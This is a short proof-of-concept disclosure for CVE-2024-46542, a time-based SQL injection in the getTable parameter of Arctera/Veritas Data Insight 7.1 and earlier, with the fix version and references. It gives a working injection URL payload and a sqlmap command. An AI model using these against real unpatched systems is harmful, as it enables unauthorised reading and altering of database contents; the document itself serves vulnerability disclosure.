CVE-2024-46542 PoC — Arctera Data Insight 安全漏洞

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# CVE-2024-46542

**Severity :** **Medium** (**6.5**)

**CVSS score :** `CVSS v3.1 Base Score 6.5 (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N)` 

## Summary :

A vulnerability was discovered in Veritas / Arctera Data Insight versions **7.1**, and prior.  The vulnerability allows an attacker to modify the syntax of a **SQL query** in one of the **administrative features** of the application.

## Poc
### Steps to Reproduce :
1. Log in with admin rights.
2. Perform the time based sql injection in the getTable parameter:
  ```html
  https://<ip>/data?getTable=info)+WHERE+8943=8943+AND+4718=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))--+veJY&db=_report&repid=77&page=1
  ```
  Alternatively sqlmap can be used:
  ```html
  sqlmap -u "https://<ip>/data?getTable=info&db=_report&repid=77&page=1" -p getTable --dbms sqlite --risk 3 --level 5
  ```
## Affected Version Details :

- <= 7.1

## Impact :

This may result in the attacker being able to submit arbitrary SQL commands on the back-end database to create, read, update, or delete data stored in the database.

## Mitigation :

- Upgrade to Data Insight version 7.1.1
  
## References :
- https://www.veritas.com/support/en_US/security/ARC24-001
- https://nvd.nist.gov/vuln/detail/CVE-2024-46542

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